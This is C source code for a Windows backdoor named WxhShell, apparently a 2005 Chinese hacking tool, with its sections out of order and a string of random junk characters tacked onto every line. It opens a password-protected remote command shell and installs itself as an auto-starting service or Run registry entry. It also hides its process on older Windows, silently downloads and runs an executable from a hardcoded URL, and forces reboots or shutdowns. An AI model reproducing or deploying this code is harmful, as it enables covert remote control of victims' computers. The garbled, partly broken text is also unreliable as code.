    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `kJ^zw+  
    if(Boot(SHUTDOWN)) ` 5C~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J":,Vd!*-  
    else { ,kn"> k9  
    closesocket(wsh); 5kz)5,KjM  
    ExitThread(0); = MOj|NR [  
    } HF.^ysI  
    break; 82DmG@"s2  
    } ok4@N @  
  // 获取shell bAm(8nT7w  
  case 's': { r'*}TM'8  
    CmdShell(wsh); : 7`[$<~E  
    closesocket(wsh); xcf%KXJf6  
    ExitThread(0); AD<q%pu&H?  
    break; n .RhxgC<  
  }  1OF& *  
  // 退出 <z!CDg4  
  case 'x': { ksN+ ?E4w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8UVmv=T  
    CloseIt(wsh); ;IokThI  
    break; UZpIcj cL  
    } ut I"\1hQ  
  // 离开 ;{" +g)u  
  case 'q': { Os1>kwC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]h5Yg/sms  
    closesocket(wsh); 9amaL~m  
    WSACleanup(); L-k@-)98  
    exit(1); & J2M1z%  
    break; 9BuSN*4  
        } Ch3jxgQY  
  } u[ Yk  
  } 9c6gkt9eB  
#Q`dku%V:  
  // 提示信息 ]f({`&K5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H"dJ6  
} iB& 4>+N+  
  } j_. 5r&w  
-#HA"7XOE  
  return; hs$GN]  
}  D 'Zt  
ptZ <ow&  
// shell模块句柄 3S}Pm2D2  
int CmdShell(SOCKET sock) ?pB>0b~3-  
{ pj?f?.^  
STARTUPINFO si; ^kB8F"X  
ZeroMemory(&si,sizeof(si)); $H9%J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EpX&R,Rxk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o_^?n[4  
PROCESS_INFORMATION ProcessInfo; ~"kb7Fxp  
char cmdline[]="cmd"; 7*Ej. HK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  VN\W]jT  
  return 0; T r1?620  
} d5gR"ja  
N<-gI9_  
// 自身启动模式 c:o]d)S  
int StartFromService(void) Y/ .Z .FD`  
{ G%W8S \  
typedef struct mh{1*T$fP  
{ ]33>m|?@  
  DWORD ExitStatus; ?}U(3  
  DWORD PebBaseAddress; v63"^%LX  
  DWORD AffinityMask; <yNM%P<Oy  
  DWORD BasePriority; M 4?ig}kh  
  ULONG UniqueProcessId; 5Ezw ~hn  
  ULONG InheritedFromUniqueProcessId; &-B^~M*??  
}   PROCESS_BASIC_INFORMATION; WL?\5?G 9l  
rcC<Zat,|  
PROCNTQSIP NtQueryInformationProcess; 2vWx)Drb6  
~2QR{; XQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O4V.11FnW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L'0B$6  
V^Q#:@0  
  HANDLE             hProcess; yU-e3O7L  
  PROCESS_BASIC_INFORMATION pbi; Ke2ccN  
&N\jG373  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qfMo7e@6*  
  if(NULL == hInst ) return 0; .@@?Pj?)  
K)DDk9*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [8=vv7wS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )E-inHD /  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w"cZHm  
9{5&^RbCp  
  if (!NtQueryInformationProcess) return 0; }n3/vlW9  
<4g{ fT0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G2Qlt@.T  
  if(!hProcess) return 0; nwF2aRNV  
@c;|G$E@3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =pS5uR~  
fj;y}t1E]  
  CloseHandle(hProcess); v{ 0=  
x"gd8j]s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lrIS{MJ+-  
if(hProcess==NULL) return 0; &)AVzN+*h  
j)/nKh4O  
HMODULE hMod; /7|V+6jV  
char procName[255]; ; Q3n  
unsigned long cbNeeded; IJ(  
d\R,Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .ZVUd84B  
CkoL TY  
  CloseHandle(hProcess); 2Q/4bJpd  
ZK@N5/H(  
if(strstr(procName,"services")) return 1; // 以服务启动 j/f?"VEr  
8TLgNQP  
  return 0; // 注册表启动 0Tx{3#  
} CzRc%%BA  
y}My.c  
// 主模块 pEIRh1  
int StartWxhshell(LPSTR lpCmdLine) 3c]b)n~Y  
{ gT0BkwIV  
  SOCKET wsl; CsoiyY -2  
BOOL val=TRUE; i*Sqda $  
  int port=0; S~;4*7+?:  
  struct sockaddr_in door; 1^7hf;|#g  
1p/3!1  
  if(wscfg.ws_autoins) Install(); V@ cM|(  
di6QVRj1  
port=atoi(lpCmdLine); _/6!yyl  
0 yuW*z  
if(port<=0) port=wscfg.ws_port; <b`E_  
 a1t4Dd  
  WSADATA data; P3)Nl^/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LWz&YF#T-  
/ zB0J?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b\$}>O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Rv$[)`&T  
  door.sin_family = AF_INET; clL2k8VS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^Eb.:}!D6  
  door.sin_port = htons(port); $o0 iLFIX/  
bzuEfFaL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r^3acXl  
closesocket(wsl); V )x$|!(  
return 1; D6>2s\:>vp  
} S+atn]eU@  
VC\S'z  
  if(listen(wsl,2) == INVALID_SOCKET) { M^r1S  
closesocket(wsl); [<g?WPCcC  
return 1; jr /pj?  
} x7:s]<kE  
  Wxhshell(wsl); /H(? 2IHC  
  WSACleanup(); +;N2p1ZBf  
VEqS;~[  
return 0; [y'f|XN  
723bkJw V  
} mKL<<L [  
Li/O  
// 以NT服务方式启动 Mc09ES  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .TND  a&  
{ TMlP*d#  
DWORD   status = 0; {mZC$U'  
  DWORD   specificError = 0xfffffff; '_w=k 4  
6K-_pg]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; '=nQ$/!q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K9$>Yxe|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m#PY,y  
  serviceStatus.dwWin32ExitCode     = 0; Y^8C)p9r  
  serviceStatus.dwServiceSpecificExitCode = 0; E9Np0M<  
  serviceStatus.dwCheckPoint       = 0; zR1^I~ %  
  serviceStatus.dwWaitHint       = 0; Y;@>b{s  
1zm ulj%&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j9?}j #@  
  if (hServiceStatusHandle==0) return; EQb7 -vhg  
3DiLk=\~  
status = GetLastError(); dJ2Hr;Lc  
  if (status!=NO_ERROR) >/kc dWl  
{ FbaEB RM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }=gx#  
    serviceStatus.dwCheckPoint       = 0; \O*-#}~\  
    serviceStatus.dwWaitHint       = 0; WN?O'E=2  
    serviceStatus.dwWin32ExitCode     = status; Rot@x r7Hc  
    serviceStatus.dwServiceSpecificExitCode = specificError; M=F xB;v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z3&]%Q&  
    return; ewa wL"  
  } lef2X1w}!  
(l-tvk4Ln  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \K@'Z  
  serviceStatus.dwCheckPoint       = 0; Cjqklb/  
  serviceStatus.dwWaitHint       = 0; iop2L51eJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v(B<Nb  
} HJXT9;w  
!UG 7Uer  
// 处理NT服务事件,比如:启动、停止 4 N H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A+SE91m  
{ xy5lE+E_U  
switch(fdwControl) ,&j hlZ i  
{ !46RGU:I  
case SERVICE_CONTROL_STOP: k9  "[H'  
  serviceStatus.dwWin32ExitCode = 0; {1V($aBl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "= 6_V?&w  
  serviceStatus.dwCheckPoint   = 0; :3XA!o&.T3  
  serviceStatus.dwWaitHint     = 0; E*.{=W }C  
  { e,F1Xi #d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #MX'^RZ>2  
  } =|M>l  
  return; ORyE`h  
case SERVICE_CONTROL_PAUSE: NO|KVZ~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iF-6Y0~8  
  break; S{PJUAu  
case SERVICE_CONTROL_CONTINUE: {["\.ZS|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?u/@PR\D  
  break; C8[&S&<_<  
case SERVICE_CONTROL_INTERROGATE: i5Zk_-\#H  
  break; C~nzH,5  
}; ^B(V4-|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ? WF/|/  
} ]+|~cRQ9I  
Ge-CY  
// 标准应用程序主函数 tk!t Y8j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8P^I TL z%  
{ Rv#]I#O  
Gb8D[1=u=  
// 获取操作系统版本 ,4zmb`dP<  
OsIsNt=GetOsVer(); c_-drS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *AoR==:ya  
O4r0R1VQM  
  // 从命令行安装 NLUT#!Gr  
  if(strpbrk(lpCmdLine,"iI")) Install(); sm0xLZ  
5b!vgm#])  
  // 下载执行文件 ofPHmh`  
if(wscfg.ws_downexe) { UUzYbuS>&l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =U#dJ^4P  
  WinExec(wscfg.ws_filenam,SW_HIDE); CK,7^U  
} 9z}uc@#D=m  
)-0kb~;|  
if(!OsIsNt) { $nb[G$  
// 如果时win9x,隐藏进程并且设置为注册表启动 3a?o3=  
HideProc(); @6{~05.p  
StartWxhshell(lpCmdLine); cxA^:3  
} 8Eakif0CO  
else ;pqg/>W'  
  if(StartFromService()) Xe<sJ. &Wf  
  // 以服务方式启动 -R57@D>j\  
  StartServiceCtrlDispatcher(DispatchTable); G?E oPh^m  
else (yF:6$:#  
  // 普通方式启动 POdUV  
  StartWxhshell(lpCmdLine); }\HN&@  
[z9 `)VIe  
return 0; "}pNe"ok  
} tNGp\~  
|?qquD 4=  
}._eIx"  
V n*  
=========================================== xnmmXtk  
JHz [7  
pQshUm"_  
V}dJ.I /#  
FrTi+& <  
AtdlZ  
" 2] zq#6ix  
EQf[,  
#include <stdio.h> (iL|Sq&}b  
#include <string.h> -i)ZQCE  
#include <windows.h> ny`#%Vs  
#include <winsock2.h> fb{`` ,nO  
#include <winsvc.h> RLb KD>  
#include <urlmon.h> m=}B,']O  
:?/cPg'D  
#pragma comment (lib, "Ws2_32.lib") 8-BflejX  
#pragma comment (lib, "urlmon.lib") P"W2(d  
&Q>k7L!  
#define MAX_USER   100 // 最大客户端连接数 `glBV`?^  
#define BUF_SOCK   200 // sock buffer lrv3fPIW  
#define KEY_BUFF   255 // 输入 buffer -amBB7g  
 .Nw=[  
#define REBOOT     0   // 重启 W7U2MqQ  
#define SHUTDOWN   1   // 关机 |2abmuR0  
?,& tNP{jq  
#define DEF_PORT   5000 // 监听端口 K{[%7AM  
VH+%a<v"  
#define REG_LEN     16   // 注册表键长度 bsB*533  
#define SVC_LEN     80   // NT服务名长度 9\/xOwR  
f7=((5N  
// 从dll定义API byT h/H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Olh<,p+x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /4g1zrU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "br,/Dk>MX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w,h`s.AN  
JKGc3j,+#  
// wxhshell配置信息 Vm3v-=6  
struct WSCFG { ,QcF|~n  
  int ws_port;         // 监听端口 8>0e*jC  
  char ws_passstr[REG_LEN]; // 口令 my}-s  
  int ws_autoins;       // 安装标记, 1=yes 0=no :P<]+\m  
  char ws_regname[REG_LEN]; // 注册表键名 ;j^H)."A\  
  char ws_svcname[REG_LEN]; // 服务名 cUvz2TK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ed_N[ I   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D'J 0wT#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CbwJd5tk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m06ALD_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {buo^kgj`]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :.$3vaZ@  
}[ 4r4 1[  
}; oZ!m  
MO n  
// default Wxhshell configuration K?BOvDW"`  
struct WSCFG wscfg={DEF_PORT, B]uc<`f  
    "xuhuanlingzhe", !t gi  
    1, > U%gctIg  
    "Wxhshell", Cn "s` q  
    "Wxhshell", 1(|'WyD  
            "WxhShell Service", (H ->IV  
    "Wrsky Windows CmdShell Service", PK0%g$0  
    "Please Input Your Password: ", ie2WL\tR4  
  1, FQqI<6;  
  "http://www.wrsky.com/wxhshell.exe", 4<k9?)~(J  
  "Wxhshell.exe" /+@p7FqlE  
    }; MM (xk  
X4 A<[&F/  
// 消息定义模块 hRK/T7v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1+}{8D_F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @JyK|.b#0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UE$UR#T'w  
char *msg_ws_ext="\n\rExit."; Q0&H#xgt  
char *msg_ws_end="\n\rQuit."; fSs4ZXC  
char *msg_ws_boot="\n\rReboot..."; yF"1#{*y  
char *msg_ws_poff="\n\rShutdown..."; 4`!Z$kt  
char *msg_ws_down="\n\rSave to "; Jo@|"cE=  
R}q>O5O  
char *msg_ws_err="\n\rErr!"; mg*qiScfW  
char *msg_ws_ok="\n\rOK!"; >D(RYI  
+\F'iAs@  
char ExeFile[MAX_PATH]; A^)?Wt%*  
int nUser = 0; bdQ_?S(  
HANDLE handles[MAX_USER]; d` jjGEj  
int OsIsNt; I?ae\X@M  
%Ti}CwI`  
SERVICE_STATUS       serviceStatus; NiU2@zgl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]%?YZn<{  
.HkL2m  
// 函数声明 ?TU}~}  
int Install(void); (2:/8\_P  
int Uninstall(void); UN]f"k&  
int DownloadFile(char *sURL, SOCKET wsh); @I_8T$N=  
int Boot(int flag); =8; {\  
void HideProc(void); 9983aFam  
int GetOsVer(void); ?e,pN,4  
int Wxhshell(SOCKET wsl); Il= W,/y  
void TalkWithClient(void *cs); 7z!tKs"TMT  
int CmdShell(SOCKET sock); a hR ^  
int StartFromService(void); A-T]9f9  
int StartWxhshell(LPSTR lpCmdLine); 1:f9J  
Z|5?7v;h5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3td)'}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]dI2y=[!C  
w8Sp <6*  
// 数据结构和表定义 6P5Ih  
SERVICE_TABLE_ENTRY DispatchTable[] = ?34 e-  
{ 9Hc$G{[a  
{wscfg.ws_svcname, NTServiceMain}, $!8-? ?ML  
{NULL, NULL} 0},PJ$8x  
}; [&&1j@LQ*  
2\7`/,U6  
// 自我安装 :k.NbN$i\  
int Install(void) PzA|t;*  
{ ~~SwCXZ+b^  
  char svExeFile[MAX_PATH]; >i5acuth  
  HKEY key; ]8 f ms(  
  strcpy(svExeFile,ExeFile); +(C6#R<LI  
?sMP~RHQ  
// 如果是win9x系统,修改注册表设为自启动 6y6<JR-V2k  
if(!OsIsNt) { 2Fq<*pxAY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WC.t_"@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kX>f^U{j  
  RegCloseKey(key); Y0_),OaY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z(Bp 0a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0IfKJ*]M  
  RegCloseKey(key); XI22+@d6  
  return 0; Kd=%tNp  
    } ? P( ZA  
  } BI $   
} 8erSt!oM  
else { >|twyb  
IuNiEtKx  
// 如果是NT以上系统,安装为系统服务 r9 !Tug*>m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c2e tc8  
if (schSCManager!=0) [L:o`j  
{ |=$-Wu  
  SC_HANDLE schService = CreateService +eX@U;J,g  
  ( 76Vl6cPu>  
  schSCManager, Er+nk`UR_  
  wscfg.ws_svcname, j4;0|zx-i  
  wscfg.ws_svcdisp, %Mk0QKzUo  
  SERVICE_ALL_ACCESS, /ew Ukc8,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , + j W1V}h  
  SERVICE_AUTO_START, w0C~*fn3l  
  SERVICE_ERROR_NORMAL, ^Nmg07_R  
  svExeFile, \U[ {z&]~  
  NULL, =9"W@n[>W  
  NULL, T)Y=zIQ1]7  
  NULL, sfOHarww  
  NULL, D;_ MPN[  
  NULL G=A,9@+c  
  ); aEWWFN  
  if (schService!=0) 4( 1(e  
  { ;~\MZYs3m  
  CloseServiceHandle(schService); _ h": >  
  CloseServiceHandle(schSCManager); ~R &;v3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #_(jS+lP?k  
  strcat(svExeFile,wscfg.ws_svcname); t$A%*JBKm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %"af748!+D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Wh%ucX&  
  RegCloseKey(key); T+<A`k: -  
  return 0; 1f8GW  
    } hWT[L.>k  
  } ;d'Z|H;  
  CloseServiceHandle(schSCManager); m q{];  
} hYM@?/(q  
} Xa[?^P  
w );6K[+;  
return 1; * ;Cy=J+  
} tc!wLnhG  
m/qbRk68s  
// 自我卸载 !}r% u."  
int Uninstall(void) NN1$'"@NL  
{ ^pe{b9c  
  HKEY key; +{L<? "  
Pw;!uag  
if(!OsIsNt) { TM|)Ljm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]s GHG^I6  
  RegDeleteValue(key,wscfg.ws_regname); K%X^n>O7C  
  RegCloseKey(key); &ZX{R#[L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %B)6$!x  
  RegDeleteValue(key,wscfg.ws_regname); h?FmBK'BAd  
  RegCloseKey(key); L[20m (6?  
  return 0; A%{W{UP8N  
  } L0tAgW!@  
} 3neIR@W  
} dGFGr}&s  
else { Wxbq)Z[V  
OLvcivf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *r$+&8V\n  
if (schSCManager!=0) _!?Hu/zo  
{ E)9yH\$6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wlEo"BA  
  if (schService!=0) sPb=82~z  
  { `QUy;%+  
  if(DeleteService(schService)!=0) { y T#{UA^  
  CloseServiceHandle(schService); 9gEssTkts  
  CloseServiceHandle(schSCManager); D.1J_Y=9  
  return 0; {!K-E9_,S  
  } 0sh/|`\  
  CloseServiceHandle(schService); zWb4([P;  
  } Xj5~%DZp  
  CloseServiceHandle(schSCManager); 0`I-2M4F*Q  
} Iy.rqc/86  
} bgK<pi)d  
|-CnT:|o  
return 1; Q lHd,w  
} 6"D/xV3Z  
Zb134b'  
// 从指定url下载文件 jOyvDY9\  
int DownloadFile(char *sURL, SOCKET wsh) j $TwL;  
{ C>[fB|^  
  HRESULT hr; A,) VM9M_l  
char seps[]= "/"; Kmdlf,[3d  
char *token; RJON90,J  
char *file; cn- nj]  
char myURL[MAX_PATH]; k~|-gf FP  
char myFILE[MAX_PATH]; D Kw*~0  
AT\qiznvP  
strcpy(myURL,sURL); xGG,2W+z  
  token=strtok(myURL,seps); _` [h,=  
  while(token!=NULL) |K^"3`SJ  
  { a!mf;m  
    file=token; A;O~#Chvd  
  token=strtok(NULL,seps); rX;Ys2vQ*  
  } \^V`ds*.  
Vm|Y$ C  
GetCurrentDirectory(MAX_PATH,myFILE); ((^sDE6(  
strcat(myFILE, "\\"); wV)}a5+  
strcat(myFILE, file); o8Z[+;  
  send(wsh,myFILE,strlen(myFILE),0); B=@ jWz"  
send(wsh,"...",3,0); MCP "GZK6W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `W-&0|%Ta  
  if(hr==S_OK) f(eQ+0D  
return 0; pMJ1v  
else {h KjD"?  
return 1; ?9X&tK)E-  
xwH?0/  
} $7'g Rb4  
_HA$ j2  
// 系统电源模块 Jy aag-  
int Boot(int flag) Jz!Z2c  
{ `+/H^  
  HANDLE hToken; wO>L#"X^v  
  TOKEN_PRIVILEGES tkp; KnNh9^4"\2  
}rdIUlVO\  
  if(OsIsNt) { 0iZGPe~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~kCwJ<E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0'r%,0  
    tkp.PrivilegeCount = 1; 4\&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t nS+5F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _7D_72  
if(flag==REBOOT) { jkF8\dR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :EtMH(  
  return 0; f N "tA  
} P &)1Rka  
else { 1'4J[S\cM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =5s F"L;b  
  return 0; k5&bq2)I  
} \Yoa:|%*y  
  } H\GkW6  
  else { w~@-9<^K]v  
if(flag==REBOOT) { "|m|E/Z-9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZCg`z  
  return 0; <q,+ON\'  
} ?K@t0a   
else { !tHt,eJy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G^(}a]>9  
  return 0; ~=Ncp9ej#  
} rz(0:vxwA  
} ?v-1zCls  
(Bo bB]~a  
return 1; ;p ]y)3  
} ?Mp1~{8  
<g9"Cr`  
// win9x进程隐藏模块 cW``M.d'F  
void HideProc(void) w#^U45y1v  
{ .!}hhiF,Z  
ba@=^Fa;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7rHS^8'H&  
  if ( hKernel != NULL ) G5tday~3  
  { !?[oIQ)h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @:x"]!1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q!M)xNl/  
    FreeLibrary(hKernel); jFerYv&K~  
  } PVa o  
a9~"3y  
return; :h:@o h_=  
} qXXGF_Q  
zEw >SP1,  
// 获取操作系统版本 2>\\@ 1  
int GetOsVer(void) ,eQ[Fi!!  
{ :ZxLJK9x1  
  OSVERSIONINFO winfo; 'xFYUU]#T^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w.N,)]h  
  GetVersionEx(&winfo); X;!D};;M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X-B8MoG|  
  return 1; nB5Am^bP  
  else ,kgF2K!  
  return 0; )uP[!LV[e  
} K<v:-TjQZ:  
,PWj_}|L[  
// 客户端句柄模块 J Lb6C 52  
int Wxhshell(SOCKET wsl) x:t<ZG&Xwg  
{ ~k'V*ERNSj  
  SOCKET wsh; >m_v5K  
  struct sockaddr_in client; y7<&vIEC  
  DWORD myID; Napf"Av  
4%*hGh=  
  while(nUser<MAX_USER) /!Z^Y  
{ tL0`Rvl  
  int nSize=sizeof(client); ["3df>!f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =z:U~D  
  if(wsh==INVALID_SOCKET) return 1; P ,K\  
H:a|x#"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J  fcMca  
if(handles[nUser]==0) xfSG~csoz  
  closesocket(wsh); /'y5SlE[J  
else i=v]:TOu  
  nUser++; fY2wDD  
  } |ZU#IQVQfn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S*%iiD)  
#  nfI%  
  return 0; . 9 LL+d  
} Vos?PqUi 4  
ew#T8F[  
// 关闭 socket GoE#Mxhxo  
void CloseIt(SOCKET wsh) Su8'$CFz$.  
{ f|xLKcOP  
closesocket(wsh); C]`eH *z~8  
nUser--; /hdf{4  
ExitThread(0); 4FA|[An  
} [V@yRWI  
"7?js $  
// 客户端请求句柄 OoP@-D"e  
void TalkWithClient(void *cs) { U <tc4^  
{ ^{[`=P'/  
LCQkgRs}~{  
  SOCKET wsh=(SOCKET)cs; 'o\;x"YJ  
  char pwd[SVC_LEN]; QJ];L7Hbo  
  char cmd[KEY_BUFF]; # bX~=`  
char chr[1]; _g6m=N4  
int i,j; Sb^ b)q"  
A|<;  
  while (nUser < MAX_USER) { |#TXE|#ux  
$cK^23H/Fj  
if(wscfg.ws_passstr) { 7;HUE!5,^l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;.Zh,cU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N4[E~ -  
  //ZeroMemory(pwd,KEY_BUFF); :$"7-a %f  
      i=0; R'EW7}&  
  while(i<SVC_LEN) { TC-f%1(  
GhnE>d;i  
  // 设置超时 $P?{O3:V  
  fd_set FdRead; o_ yRn16  
  struct timeval TimeOut; xQz#i-v  
  FD_ZERO(&FdRead); ^now}u9S6  
  FD_SET(wsh,&FdRead); A9BxwQU#  
  TimeOut.tv_sec=8; @;9()ad  
  TimeOut.tv_usec=0; xbC~ C~#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *1;23BiH-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #J+\DhDEPO  
ez0\bym  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >=!AL,:  
  pwd=chr[0]; 6=>7M b$  
  if(chr[0]==0xd || chr[0]==0xa) { k.Zll,s  
  pwd=0; ^\YQ_/\~L  
  break; ~t9$IB  
  } y<r44a_!  
  i++; onzA7Gre  
    } Q=.g1$LP  
* NMQ  
  // 如果是非法用户,关闭 socket C MqM;1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3#9M2O\T  
} ~'f8L #[M  
3@X|Gs'_S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d]k='  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zXgkcq)  
#D:RhqjK  
while(1) { eH=c|m]!P  
-q(:%;  
  ZeroMemory(cmd,KEY_BUFF); 2nx8iA  
tG 7+7Z =  
      // 自动支持客户端 telnet标准   G4yUC<TqBP  
  j=0; 5 TET<f6R  
  while(j<KEY_BUFF) { >H?uuzi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w$% BlqN  
  cmd[j]=chr[0]; Wy)('EM  
  if(chr[0]==0xa || chr[0]==0xd) { YnxU(v'\  
  cmd[j]=0; L`[F~$|  
  break; *'^:S#=  
  } 7S2c|U4IM  
  j++; 8g5.7{ky  
    } !'PlDGD  
t|".=3%G  
  // 下载文件 <"ae4  
  if(strstr(cmd,"http://")) { cX"G7Bh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3qcpf:  
  if(DownloadFile(cmd,wsh)) F=5kF/}x-z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ko-QR(  
  else O<iI  
